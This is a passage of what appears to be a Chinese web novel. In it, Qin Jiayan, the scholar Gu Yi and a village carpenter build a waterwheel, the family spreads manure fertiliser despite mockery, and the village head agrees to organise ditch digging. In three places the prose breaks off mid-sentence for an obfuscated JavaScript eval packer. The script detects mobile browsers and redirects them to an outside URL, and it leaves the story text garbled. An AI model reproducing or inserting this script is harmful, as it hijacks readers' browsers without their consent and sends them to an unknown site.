“我也是大概有这么个想法,想试试看。我也不知道能不能做出来。”秦嘉言有点头痛的扶扶额,水车她前世也没有做过,只知道大概有这么个东西。她以为按照样子画出来就行,没想到会这么难。 顾毅沉思半刻,又随手拿起另一张纸写写画画,一时间,他竟然完全沉浸在自己的世界里。 “你,有什么好想法么?”秦嘉言突然开口叫住他。顾毅听到声音才突然抬起头,像大梦初醒般的拍了拍自己的脸,随后又看像秦嘉言:“秦娘子这个想法真的是太好了,顾某一时间入了迷,一心想要把这个“水车”画出来。这个东西要是真能做出来,那可真是利国利民的大好事,全天下的人都会感谢你!” 他退后半步给秦嘉言鞠了一躬,“顾某不才,想帮着秦娘子把这个东西研究出来。请你多给我一些时间。” “啊,那没问题,能研究出来才是大事,这样,这阵子你就住在我家,跟我四儿子一个屋,闲暇时间你就帮我看看图纸,怎么样?我正常给你付钱!” 顾毅连忙摆摆手,焦急的说:“我不能收你的银钱,这样吧,离乡试还有三个月,我就在你家里看温书。帮你把这个水车弄出来。” 秦嘉言连忙点点头,“那太好了,就这么定了!在外面就说你是我表弟。过来找我投奔亲戚,你帮我弄好这个水车,吃住我我全包了!”她拍了拍挺起的胸膛。 顾毅笑了笑点点头,他也说不清楚为什么会在这个小村庄里驻留脚步,也许是秦娘子提出的“水车”的设计太吸引人吧! 他想了想从怀里拿出一锭银子,“还要劳烦秦娘子帮我去镇上买些笔墨,书籍回来。” “行,没问题,我现在天天都往镇上跑,回头你给我写个单子,我照上面买?” 正说着,胡氏在厨房喊她:“娘,娘你在哪?这个炖肉的时辰到了,接下来还要怎么操作?” “对了,我这锅里还做着东坡肉呢!瞧我这记性,你先收拾收拾我们先吃饭,让你尝尝我的手艺!”秦嘉言笑着去了厨房,肉炖好了,水车的事也有人解决了,她哪是捡到累赘,这明明是捡到了宝啊! 天气热,胡氏把桌子摆在了院子里,木桌上摆着两个大碗,里面是五香鸭蛋和烧椒金蛋,中间扣着个沙陶罐,罐口盖还盖着块洗得发白的棉布。 秦嘉言伸手揭开棉布,油乎乎的热气“腾”地冒出来,裹着酱油和肉香往人鼻子里钻。碗里是炖得酥烂的东坡肉,酱色裹着肥肉,颤巍巍的,油汁顺着肉块往下淌。 “哇,娘,好香啊。赶紧给我尝一口!”李玉生急急忙忙的就要伸筷子,被秦嘉言用手挡了回去,“急什么,你嫂嫂们还没上桌呢!” 李玉生收回手,撇了一下嘴,娘现在真的太惯着那些嫂子们了,不让她们下地不说,还带她们赚钱,这不,嫂子们没上桌,他居然连饭都不能吃了,要知道,他可是他娘最疼的小儿子啊! 秦嘉言招呼儿媳妇们都坐下,又把顾毅叫到她身边坐好,“这几个月,顾毅就先住在咱们家了,对外你们就说他是我表弟,你们的小舅舅。” 李闻生自是没有什么意见,他刚才在院里听见了他娘和顾毅的对话,知道顾毅要帮他娘研究那个什么车浇地。 李玉生有些不高兴,凭什么要让一个陌生人住在他家,吃喝不说还要和他一个房间。 他抬头刚想说什么,就看见了秦嘉言警告的眼神。想说的话也全部吞了回去。 “来,尝尝我的手艺,这道菜叫东坡肉!”秦嘉言给顾毅夹了一筷子肉,放在他碗里。 顾毅笑了一下,夹起一块红烧肉放进嘴里时,连带着筷子都没怎么用力。 东坡肉在齿间几乎没遇到什么阻力,轻轻一抿,皮层的胶质就先在舌尖化开。瘦肉炖得酥透,不用费力咀嚼就顺着喉咙滑下去,只留下满口温润的肉香。 “秦娘子这手艺太好了,我觉得镇上的酒楼都比不上。”顾毅吃的眼睛都迷起了一条缝,这要是让他天天吃到这肉,让他立刻死了都心甘情愿。 “娘,我刚才一直就想问,”刘菇嘴里含着一口米饭,鼓着嘴问到,“你这肉为啥叫东坡肉啊?为啥不叫西坡,北坡?” 秦嘉言笑了笑,又给顾毅夹了一筷子烧椒金蛋,“相传有一个大官叫苏东坡,他被贬到黄州,由于他比较穷吃不起肉,只能买便宜的猪肉来吃。于是他就发明了这种做法让猪肉变得特别好吃,所以大家就给这肉取名叫东坡肉啦。” 顾毅看了看秦嘉言,没有说话,在他的印象里,不记得大梁国有这样一位大官,他想了下,也许是秦嘉言故意编出来的故事哄刘菇开心也说不定。 他捧起粗瓷碗,又夹了口菜,自己都没察觉到他的嘴角都快翘到天上了。 又一日傍晚,吃过晚饭,三个儿媳妇在厨房里准备第二天要卖的卤煮,秦嘉言则是把四个儿子都叫到身边。 “你们跟我说说,咱家的地都是什么个情况,收成多少?我之前摔的那一下挺严重,好些事情都不记得了。”秦嘉言原来还不在意,听到前几天他们的谈话,自己也上了心。 李玉生撇撇嘴,不记得了你还天天赶我们下地干活,要知道这样,他就不那么认真了。 李金生和李水生面面相觑。其实这地以前都是她们媳妇在种着,具体收成怎么样,他们也不太清楚。 李闻生看了他娘一眼,看他娘似乎是真不知道,只能羞愧的回答,“娘,咱家有两亩上等水田,四亩旱田,和四亩山地。至于收成……”他求救的看向厨房。 胡氏听到了他们的话,擦了擦手从厨房里面走出来。 “娘,我们家年头好的时候,每亩地能打下来不到100斤粮食,要是年头不好,也就70、80斤,最坏的时候60斤也有。” “才这么点?”秦嘉言有点诧异。古代生产力这么低下吗? “可不是么,就这些粮食,也得上交田税。我们家一亩地就要交50斤粮食,年头不好的时候,就见粥都喝不上。” 秦嘉言沉思了一下,陈氏也从厨房里走出来,“娘,你不知道,咱家的地,前几年一直都是大嫂在打理,她打理的可好了,咱们家的收成在村里已经是数一数二的了。我和刘菇嫁过来的晚,没帮上几年忙。” 她若有所思的看了眼李金生,“娘,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15927258|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还在娘家的时候,有一年大旱,粮食基本上都颗粒无收。还是咱家大嫂打的井水,一点一点浇地,李家才挺了过来的。” 那年她娘家基本没有收成,恰好她爹又生了重病,她家虽然有些积蓄,但那时家家都缺粮,有钱也买不到半粒米。 她和她娘四处求粮食,寻了好久,才打听到李家因为大儿媳妇勤快,还有点存粮。她和娘求上门,却被告知这存粮是准备给李家老二娶媳妇用的。 她一狠心,直接找媒人跟李家老二订了亲,拿回粮食救了她爹。 她爹娘对她愧疚万分,在她的嫁妆钱上填了又填。只可惜现在…… 她又看了李金生一眼,没有在说话。 秦嘉言在原主的记忆中也了解了事情的原委,同情的看着陈玉桂,她一定要多研究一些赚钱的法子,早日将二儿媳妇的嫁妆都填补上。 不过,眼下最重要的还是解决庄稼的问题。水车的事,她已经求顾毅帮忙。能提高庄稼产量的方法,她心里也有了眉目——农家肥! 前世她虽然没种过地,但在自己的小阳台上种过黄瓜、圣女果之类的小盆栽,也在网上查了很多种菜的知识。可前世她买的都是配好的合成肥料。她也不知道里面具体含有什么成分。莫不如直接用农家肥! 秦嘉言指向鸡窝那边,“你们看鸡窝旁边那几颗菜,是不是比别处都壮实?” 李闻生、胡金花他们顺着她手指的方向看过去,胡金花愣了楞,“是呢,娘,咱家鸡圈这里的菜长的都比别的地方好,我平时浇水都能少浇一瓢呢!” “我这两日观察了一下,咱家鸡拉了粪的地方,不管是草,还是咱们种的菜,都比别处的壮实!”她把儿子儿媳妇们都拉到墙角,“你们看,这里的青菜,没沾着鸡粪,就黄不拉几的。” 李闻生闻言眯眼瞅了瞅,好像还真像那么回事,“可是,娘,也许这就是个巧合!” 胡金花连忙站了出来,“不是巧合,我之前也看到了,不光是鸡粪,就是咱们家挨着鸭圈那亩水田,也长的特别茂盛。我原以为是因为离水近的缘故,可咱家另一处水田的庄稼就没有那么好!” 她兴奋的看着秦嘉言,“娘,我原来还没怎么在意,以为是地太贫瘠了,现在想想,还是你说的这个事在理。” 李金生听懂了她娘的意思,有点不乐意:“娘!那可是鸡粪,臭烘烘的咋能往庄稼地里撒!恶心死了!” “咋不能?又不是直接浇到菜上!”秦嘉言赶紧说:“那粪里肯定有什么能让庄稼长的壮实的好东西。咱们今天发现了,就别放过!” 李玉生一脸嫌弃:“我可不干!你拿粪水浇地!还不让村里人笑话死,传出去,咱家的粮食都得卖不出去了!” “卖不出去就自己吃!在说了,不管干什么,能多打点粮食才是根本!”秦嘉言有些着急:“你想想,鸡粪沾过的地方菜都长的那么好,要是把咱家的地都撒上鸡粪,麦子不得长的比现在高,玉米棒子不得结的更沉!” 李闻生也沉默着没有说话,庄稼地不比其他,不能随便胡来。 秦嘉言看着儿子们都不赞同的样子,语气软了下来:“这样把,咱们今年就试试,那几块水田不动,就用咱家那亩最薄的田,到时候看看长的怎么样,要是成了,咱们以后就不用担心粮食问题,要是不成,也就是多费点力气,不损失啥。” 四个儿子还是低头不语,倒是胡氏立刻站了出来,“娘,我看行,卤煮的买卖有两个弟妹就可以忙过来,我明个下地把那些旱地都撒上鸡粪!” 17. 第 17 章 正说着,顾毅从里屋踱步走了出来。“秦娘子,我在家里也曾经下地干活,要是不嫌弃,请让我也助你一臂之力。” 秦嘉言看着顾毅感动的笑了下:“就一亩地,哪能用的着你呢,你可是读书人,将来考上秀才状元可是要做官的人!哪能碰这些污秽之物。” 顾毅忽然提高了声音,语气带着一股不容置疑的认真:“秦娘子,你这话说的不对!” 秦嘉言楞了一下,不解地看着他。 顾毅站直身子,眼神却异常的清亮,“我认为就算是读书也不能脱离土地,书上一直说‘民以食为天’,连地里的庄稼怎么长都不知道,连粮食是怎么来的都不明白,就算将来真做了官,又怎么能懂百姓的苦?” 他顿了顿,看向李金生他们,声音更沉了些,:“大丈夫生于天地间,当顶天立地,能拿起笔杆子,也能握住锄头把。干活不丢人,怕吃苦、嫌累,把活都丢给别人才丢人!” 李金生他们站在一旁,脸上的笑容早就没了。李闻生脸上“腾”地红了,一直红到耳根。 “娘……”李闻生挠了挠耳朵,声音低得像蚊子哼,“你和金花还是弄那个卤煮吧,挑鸡粪的活,还是我带着他们去就行。” 李玉生立刻蹦了出来,“大哥,你开什么玩笑,我们几个大老爷们出去挑粪,会让人家笑话死的!” 李闻生瞅都不瞅他一眼,抬脚就在他屁股上用力的踹了他一脚,“我是你大哥,我说干啥就干啥。不服你分家出去!” 李玉生揉了揉自己的屁股没敢在言语,他大哥真是中了邪,现在娘说什么就是什么,下地还看着他们干活,要是偷懒被他发现,少不得一顿数落。 都怪这个顾毅。要不是他在那大放厥词?他大哥也不会同意用粪水浇地的事儿。看今晚他不整死他。 顾毅看了李玉生一眼。这些天这人没少折腾,不是故意打嗝磨牙放屁,就是假装翻身偷偷的踹他一脚。 看他的样子,今晚又得整出什么幺蛾子,他这回可不会手软了! “秦娘子,我昨天又想到了一个零件运转的方法,就是这里,让木匠拿铁皮包一圈,加固一下……”他从屋内取出一个图纸,在上面轴承固定的地方用手指了指。 “你也太厉害了,这都能让你想到,回头我把你介绍给柴木匠。他的手艺非常好。咱们肯定能做出来。”秦嘉言想了想,回到了屋里,取出了她的嫁妆匣子。从里面拿出了50俩银子。 “这银子你先拿着,不够的话等我这几天赚到了再补上。” “秦娘子。”顾毅把她拉到一边,看着她很认真的说:“这做水车的事,你这么干我觉得不太妥当。” 秦嘉言拿着银子的手一顿:“咋不妥当了?银子不够?” “不是银子的事。”顾毅用手指着纸上的图样,“我觉得这不是你一家的事。水车做好了,浇地会省很多力,全村的地都能沾跟着光,这是利村利民的事,你应该跟村里人说道说道。” 他顿了顿,又道,“再说后面挖沟渠,那么长的沟,就靠你家里那几个人能挖多少?得让村里人都知道这事对他们有好处,才好凑人手帮我们一起挖渠。” 秦嘉言摸了摸下巴:“你说得是,我光想着赶紧做出来水车,倒把这茬忘了。没有配套的沟渠,有水车也是白搭。” 她想了想,笑眯眯的看向顾毅,“这样,明天一早你跟我出去,咱家先去村长家转转,我在带你去柴木匠那里,我们几个人怎么都能把这事研究出来!” 顾毅点点头,将图纸仔细折好,卷成筒状塞进竹筒里,又用麻绳缠了两圈。 “明天我直接带着图纸去。”他声音平稳,带着几分笃定,“明日一早我们先去把沟渠的事情落实了,就去柴木匠那里看看。” 秦嘉言点点头,:“那我明天早点喊你,我们早点走,要是晚了,村长就该下地干活了。” “好,我明天会早点起来的。”顾毅应下,转身往自己暂住的西屋走。 木门“吱呀”一声推开,他反手掩门,借着月光将竹筒放在桌上。 李玉生好像已经睡着了,但顾毅总觉得他的呼吸声有些不对,他抬眼一看,自己的被褥居然已经铺好了。 他笑了一下,没有做声。李玉生以前不把他的被子踢到一边就不错了,今天怎么会好心帮他铺被褥,傻子都知道这里面一定有猫腻。 顾毅不动声色的看向李玉生,就见他身子不自然的动了一下,又有意的靠近他的被褥挪了挪。 顾毅眼睫微动,借着月光看见李玉生的被子里探出半只手,手里攥着个布口袋,袋口隐约有细足爬动的影子。 顾毅一把抓住了李玉生的手,夺下了他手中的袋子。把袋子往下一顿,就立刻系上口袋。 “起来!”顾毅用力的一下子把他薅起来。“想往我被窝里放这东西?”顾毅掂了掂布袋,蜈蚣在袋里撞得簌簌响。 李玉生的手腕被他捏的生疼。龇牙咧嘴的叫唤。“没有,我没有,你快放开我。” 顾毅甩开了他的手腕,把布袋一下子摔在他的脸上。李玉生瞬间吓得脸色苍白,“嗷”的一声就叫了出来。 他跳上了炕,用脚踩住李玉生的手腕。“平时你搞一些小动作。我就当没看见。你今天做的是不是有点太过了?真当我是好欺负的人?”他弯腰把布袋捡起来。 顾毅眼神冰冷的看着他,晃了晃手中的口袋:“这里面是蜈蚣吧,这玩意儿毒性很强。咬一口能疼三天三夜。你这么喜欢,不如自己留着‘享用’?”说着作势要解袋绳,李玉生吓得涕泪横流,连连磕头求饶。 “顾毅,我错了,小舅舅。你放开我,你别把这东西放出来,我真的知道错了。”李玉生哭的眼泪鼻涕一起出来,狼藉拽着他的衣摆。 顾毅一脚把他踢开。“我没有想要在你家常住的意思,帮你娘把水车弄完,我就会离开。你不用总费这些小心思,有那个闲心的话就多帮帮你娘。这么大人了,一天只知道吃、喝、闹事,不知道干活。不能学学你大哥。” 李玉生吓得不行,他抬头看向顾毅。他现在这副模样,眸子里压着化不开的阴鸷,哪还有半分平日温文尔雅的影子? “我知道了!小舅舅,我再也不敢了。”李玉生把他的被褥都抱在一边,眼睛不时的偷瞄他。 顾毅拍了拍袋子朝他笑了一下。这一笑吓的李玉生不敢在看他,直接钻进了被子里。 他把袋子丢在外面,用脚碾了几下,确定蜈蚣死了,才把绳子解开,把死蜈蚣丢在了鸡圈里。 他想了想又把口袋捡了回来放在枕头旁边。 天刚微微亮,李玉生就敲响了秦嘉言的大门。“娘,娘,你快出来。顾毅……顾毅他要害死我。” 秦嘉言看着这个成天找事,不务正业的四儿子,一股无名火就冲了上来。 “你闹什么?顾毅害你干啥?你有啥让人惦记的。别在这叫唤个不停,赶紧收拾收拾,跟你哥干活去。” “娘,我真没骗你顾毅真的要害死我。”李玉生抽抽搭搭地拽着她的衣角。 秦嘉言把他的手拍开。“他没事害你干嘛?你是做噩梦了吧?还是被猪油蒙了心?” 李玉生正哭诉着,房门吱呀一声就打开了。顾毅迈步走进了院中,他穿着白色的衣袍,衣袍下端随着他的走动轻轻晃了晃。 秦嘉言抬头看过去,顾毅的肩膀宽宽的,身材高大又匀称。阳光照在他的脸上,称着他的眉眼格外的温柔。他天生的笑眼,眼尾那颗小痣在天光下隐约显出来。 好帅!秦嘉言都看直了眼。这长相、这身材要是放到现代。妥妥的一线顶流啊。怪不得都说古代读书人一个个长得都清俊利落。就这长相,将来放在朝堂上,皇帝也爱看啊! 李玉生看秦嘉言没有给他出头,又开始撒泼闹了起来。“娘,你管管他呀!他要害的是你儿子!昨天晚上我睡得正香,他抓了一条蜈蚣丢在我的被上。” 秦嘉言斜眼看了儿子一眼,肯定是这小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15932755|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子又起什么坏主意被顾毅教训了,真是活该! “你说他抓了蜈蚣放在你被子上,那蜈蚣在哪?” “就在……就在他拿的那个口袋里。昨天晚上我亲眼看见他把蜈蚣放进那里了。” 他用手指着顾毅手中拿着的口袋。“娘!就在那里,那里肯定有蜈蚣。” 秦嘉言看着顾毅抬起头示意了一下。顾毅把口袋打开,里面什么都没有。他又把口袋朝下甩了甩,依然没有蜈蚣之类的虫子爬出来。 秦嘉言用力的踹了李玉生一脚,“你小子一天就瞎闹!蜈蚣在哪呢?赶紧给老娘收拾收拾,跟你哥干活去。一会儿晚了,我叫你哥踹你屁股。” 李玉生刚想反驳,就看到了顾毅的冰冷的眼神。他没敢再说话,蔫蔫的走开了。 秦嘉言拍了拍手对顾毅说:“这几个混小子被我教坏了。现在只能一点点的板。这小子你随便教训,我一点都不介意!你只要没被他闹到就好。” 顾毅忽然笑了一下,方才紧绷的眉眼像是被春风拂过,缓缓舒展开来。“放心吧,我不会被他闹到的。倒是你,该让他们干什么就干什么,不要再娇惯着他们了。” “那肯定的!”她笑了笑,我还得指望他们几个干活呢。你帮我修理他们正好,省得我一天到晚还得找借口教训他们。 秦嘉言领着顾毅来到了村长家,村长李长贵正坐在炕沿抽烟袋,“李叔,你还没有下地呀。太好了。正好我有点事找你说。” 李长贵抬眼看了她一眼,“呦,是秦娘子啊,什么风把你给吹过来了?今年我可找人盯着。没人动你家地头那块儿地啊。” “瞧李叔你说的哪的话,动就动呗,我家还差那点儿地不成。”她笑盈盈的把顾毅拽过来。 “这是我表弟顾毅,投奔亲戚到我这来了。我和他研究点东西,想让你给给看看。” 顾毅把图纸摊开放到李长贵手中。 “这……这是什么?我也看不懂啊。”李长贵有点纳闷。 “这是我和表姐研究出的水车。现在还没做好,等做好了这水车轱辘一转。就能把水送到每一块地上……” 顾毅仔细的给李长贵讲解了水车和沟渠的好处。李长贵把烟锅子往炕沿上磕了磕,皱紧的眉头说:“我明白你们的意思了,这……这事儿不太好办啊” “怎么不好办了?那沟渠,一家出几个青壮,几天就能挖出来。水车的钱我全出,又不要村里人拿钱。”秦嘉言赶紧接话。 村长白了她一眼,“你这水车影儿都没有呢?谁知道能不能做出来。就算做出来还不知道能不能转呢。到时候让大家伙把沟渠都挖开。你那水车不好使。不是白费的力气。” 李长贵用烟袋指了指顾毅,“再说了,他是外乡人!万一出了点啥岔子,他一走了之了,剩下的屁股还不得是我来擦。” “你也不想一想。你要挖沟渠得经过好几家地。谁家能愿意让你挖?就你早年那些名声。我都不愿意说。” 秦嘉言瞪圆了眼睛一手拍在桌子上。“说水车的事儿怎么又落到名声上了!我都说了,水车不用村里拿钱,我一个人全包了。到时候放出水还不是大家伙都得力。” “你出去打听他的。我秦嘉言这些日子变了多少?士别三日还当刮目相看呢,你个当村长的怎么还老拿老眼光去看人?” 李长贵没有接话,只是低头吸着烟袋。 顾毅看情形不好,赶紧接过了话头,“叔,你看这样行不行,水车我找柴师傅先做着,成不成的等试了才知道。要是真成了,旱季浇水,大家就不用都拿担子挑水了,各家的地都能浇透,收成也能多两成不是。” 他看李长贵缓和了脸,继续劝到:“至于水渠,你等我把水车修好了,您再和大家伙说说,都是得力的事儿,谁家不想多收点粮。” 李长贵吧嗒抽了口烟,沉思半晌点点头。“行吧,你们要是真能把水车做出来,能转出水。我就挨家挨户劝大家伙搭把手,把沟渠挖出来!” 18. 第 18 章 李玉生这些天都要崩溃了,他现在每天一大清早就要挑鸡粪去地里。不但被村里人嘲笑,身上还沾满了鸡粪的臭味。 村里那些小娘子看见他都捏着鼻子绕道走,以前跟他鬼混的那些小伙伴也离他远远的。 “李玉生,你今天是吃了屎吗?离老远就闻到你身上的臭味了!” “靠!你才他娘的吃屎了!信不信我揍你!” “可拉倒吧,你离我远点,别碰我,我怕我一会都吃不下去饭!”村里的年轻人伴着嘲笑声一哄而散。 那些过去一起玩的狐朋狗友都离他远远的,生怕沾到他身上的气味,他也没有兴趣再出去找乐子,每天除了伺候田地,就是上山挖笋。不知不觉,竟然还存了二两银子。 这一下子,他就像被打通了任通二脉,天天往山里跑,不到天黑绝不回来。就连几个嫂子的卤煮火烧里都增加了不少他陶腾回来的蘑菇、木耳,竹笋等山货。 李闻生也烦恼的不行,他答应他娘,要把家里那几亩旱地里都洒上鸡粪。本想着抓几把意思意思就得了,没想到她娘还日日去查看。 鸡粪量不够,就把菜叶,厨房垃圾什么的都往里填。就连腌鸭蛋剩的草木灰残渣都不放过。他娘还管张婶子家里要了一堆猪粪,还说这些都是好玩意。 娘还让他们几个在家不远的空地上,挖了一个三平米的大坑,用木板围上了一圈。又找人在上面盖了个厕所,说“肥水不流外人田!”瞅这样子,她娘是想连人的粪便都用上?这是要把用粪水浇地的事情进行到底啊! 她还说这些粪水不能直接浇地,要放一段时间,等来春天在用。李闻生现在特别想去村里请一个神婆,去看看她娘的脑子是不是真的出了什么问题! 他们几个挑粪的事,没几天村子里就都知道了,有看热闹的,有劝说的,还有来问这粪水有什么用的。 不过大家都觉得李家人这是被秦娘子折腾惨了,谁都没把这粪水当回事儿。 那些好事的在路上遇到李闻生他们还会故意提起打趣,“李闻生,李金生~你们几个又出来挑粪来啦?哈哈哈哈哈!” “你娘是变着法整你们呢吧?啧啧,瞅瞅你们现在这样子,比放了半年的鸡蛋都臭!哈哈哈哈” “你们懂什么!”李闻生有点恼羞成怒,“我这叫做肥料,弄好了一亩地能够收三百多斤的粮食。” “你就吹吧!还三百斤,到时候别连一颗粮食都收不上了。你家今年一亩地要能收三百斤,我把你挑的这些粪都吃了!” 李二柱刚从镇上卖菜回来,刚走到村口就听到了他们的嘲笑自己的亲侄子,黑着脸将这几个混小子骂跑了。回头看了看李闻生,板着脸问:“你小子这是闹什么呢?挑这些污秽玩意儿干啥?你娘这是又作什么妖了?” “二叔!”李闻生看到他就像看到了救星。“我娘非说这些粪水浇在地里,能让庄稼长得更好,能使薄田变成肥田。这不非得让我带着哥几个把粪水都浇到地里。” “你娘这是从哪听来的法子?”李二柱有点上心。他是传统的庄稼汉。只要是使庄稼产量更多的方法他听到都会心动。 “哪来的法子?就是她看到鸡圈旁边沾过鸡粪的庄稼长得比别处壮,就非说这粪水能使所有庄稼长得好。我也没有办法,二叔,你劝劝她呗。” 李二柱想了想,他以前倒是从来没有注意过,粘过鸡粪的庄稼到底是什么样子,难道那个整天神叨叨的嫂子真发现了什么不成? 他的印象中,大嫂绝对不是一个会祸害自己庄稼地的人。以前村里一户人家只占了她家地头上两步大的一块地,她都掐腰骂了三天,直到那户人家把自己的一块肥田换给她,才善罢甘休。 “得了吧,你娘我可劝不了。你就按照她说的办法弄吧。万一成了呢?反正就今年上秋就能看着管不管用了。”他背着手拿着锄头跟李闻生点点头就回家去了。 他得赶紧看一看,他家鸡圈旁边是不是真像李闻生说的那样,要是庄稼真长的别处好,那他也试试。 秦嘉言这几天特别忙,她每天都看着李闻生他们把粪水挑到地里,没事的时候还得在柴木匠家里,一起研究水车。好在几个儿媳妇的卤煮生意不用她操心,她们三个人配合的特别好,她都插不上手。 柴木匠家里就没有清闲过,秦嘉言和顾毅就像生在了他家,不到天黑都不离开院子。 柴木匠非常喜欢顾毅这个小辈,他不但图纸画的特别好,想法也特别的奇特。 顾毅和柴木匠在院子里,一会儿画图纸,一会儿削木头。秦嘉言就在一旁指导,锯子和刨子的声音从早到晚响个不停。 中间改了无数次,不是立不起来就是转不动,好不容易有一次能挪动了,又非常的费力。水流的力量是指定带不起来。 三人蹲在地上琢磨了半天,又改造了轮轴的大小,依然没有太大用处。 “我有一个想法。”秦嘉言指着轮轴说;“我觉得水车现在转不起来就是因为摩擦力太大。要是把摩擦力缩小点儿是不是就会好一些?” 柴木匠看着他脑袋里充满了疑问,“什么叫摩擦力?” “啊,我指的就是……你看这两个木块接触移动的时候就非常的费力,但如果要是两个光滑的物体就会转得很顺畅。” 她去厨房取了两个陶碗,把两个碗相互蹭了一下,又拿起木块蹭了蹭。 顾毅一下子就明白了她的想法,“但是我们不能用陶瓷当轮轴。那样太不结实了。” 秦嘉言一想也是,要是用陶瓷当轮轴两天半就会坏了。 柴木匠的媳妇儿从屋里出来,到前院的井口打了一桶水。看着眼前专注的三个人,又生气的把桶丢回了井里。 这些天她相公就像着了魔一样,别的活也不做,成天和这两个神神叨叨的人不知道研究什么玩意! 顾毅看着她离开的背影,和她刚丢到井里的水桶,忽然拍了下手,“我有办法了,我们可以做成脚踏式,再配合水流只用很小的力度就能踩出水了。” 他连忙把图纸拿过去改了又改,柴木匠看他改好的图纸,眼睛也亮了起来,“我觉得这回一定能成。你小子行啊!” 五天后,柴木匠的小院儿突然传出一阵欢呼。“成了!真的成了。”几个婶子听到声音探头往里一看,就看到一个新做的木架子立在院里,底下接着水桶。 顾毅让柴木匠6岁的儿子踩着踏板试一试。小娃子开心的踩了两下,木轮就吱呀吱呀的转起来,跟着水桶里的水,就顺着木槽汩汩流进旁边的大盆里。 “真出水了!” “这娃子踩着都不费劲!”围观的人议论起来,脸上都带了笑。 不多时,秦娘子和她娘家表弟做出水车的事儿就传遍了村里。李长贵二话没说就把村民召集到了广场。 村口的晒谷场平日里只在秋收时热闹,今儿个天刚过晌午,大家就被村长的大嗓门喊得都过来了。 村民们带着疑惑聚过来,三五一堆地交头接耳,手里的锄头还没来得及放下,裤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938536|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚还沾着的泥点子。 “都静一静!静一静!”村长李长贵站在晒谷场中央,手里烟杆往旁边碾盘上“笃笃”敲了两下,眼睛不时的扫过攒动的人头,“今天喊大家伙过来,是有桩天大的好事要说。” 他清了清嗓子,声音拔高几分:“咱们村秦娘子和她表弟顾毅,还有咱们村的柴师傅,这阵子没日没夜地忙,把那水车给造出来了!现在就放在村西头河湾那儿,往后浇地不用再肩挑手提,渠水顺着沟一流,地能浇得透透的。” 他磕了磕烟袋继续说道:“这玩意省时省力不说,这旱地浇透了就变成良田,今年的收成,大家就瞧好吧!谁想试试都能去河边看,保准比你挑水快十倍!” 话音刚落,广场里一片寂静,忽然就和炸开了一道惊雷似的,大家都七嘴八舌的讨论起来。 “我就说早上看见柴木匠家里那个大家伙了吧!真好使嗷,他儿子才六岁,轻轻一踩,水流出来了。” “我说呢,我在西边过来,还不知道河里那个大家伙是什么,原来是这玩意。” “那是李家那个秦娘子研究出来的吧!她那人你还不知道,以前没少磋磨儿媳妇。” “拉倒吧!你那都是老黄历了,现在她对她儿媳妇可好了,几十两银子的人参说给吃就给吃!” “真的假的?她?秦嘉言?” “真的,听说连她嫁妆都拿出去了,就她那个大镯子!” “就她那个沉甸甸的、天天炫耀的那个?今天真没看到嗷?她不是说她那几个儿媳妇就是不下蛋的母鸡,养着都白费粮食么?她还能舍出去自己的镯子?” “真的,我听镇上的……” “咳咳!大家都安静一下!”李长贵敲了敲自己的烟袋。“水车是造好了,大家伙也得挖个水渠才能把水引进地里。我看了一下,咱们村的地好好规划一下,各家的地应该都能照顾到。” “啊?还得挖水渠?我家那二亩地就在道边上,别到时候占了我的好田。” “就是,我家地离河边近,自个儿挑水也累不着,费这劲干啥?” 议论声越来越杂,村长脸一沉,烟杆重重往碾盘上一拍:“都闭嘴!一个个眼皮子就这么浅?” 他瞪着方才嚷嚷的几人:“秦娘子为了造这水车,自个儿掏的银子买木料、顾毅和柴师傅没日没夜的赶工,一分钱没让村里摊!挖沟渠能占你几分地?往年天旱,多少地干裂得种不出苗?这沟渠要是通了,地能浇透,秋收时每亩多打一担粮都不止,这点账算不过来?” 这话一出,场下安静了不少,有人低下头抠着手指算计,脸上带着点愧色。可人群里几个惯来的刺儿头,梗着脖子没吭声,眼神里却透着不服。 李长贵看在眼里,没好气地哼了一声:“行,谁家不愿出力的,我也不强求。就这么定了!谁家想用这渠水浇地,就出两个青壮跟着挖沟;要是沟渠真占了谁家的地,村里从公田划块差不多的补给你。” 他顿了顿,目光扫过全场,语气硬得像石头:“但我把丑话说在前头:今儿要是不愿出人,将来沟渠成了,你家也别想沾半点水!村里这么多双眼睛盯着,谁敢偷偷放水坏规矩,别怪我不讲情面,直接撵出村去,永远不许回来!” 晒谷场里鸦雀无声,只有风吹过树梢的沙沙声。过了会儿,才有几个老实巴交的汉子率先开口:“村长说得是,俺家出人!”声音起了头,跟着又有不少人应和,那几个刺儿头见状,终究没再吱声,只是狠狠啐了口唾沫,别过了脸。 19. 第 19 章 李家村这一夜就像是过年一样,家家户户都点起了油灯。 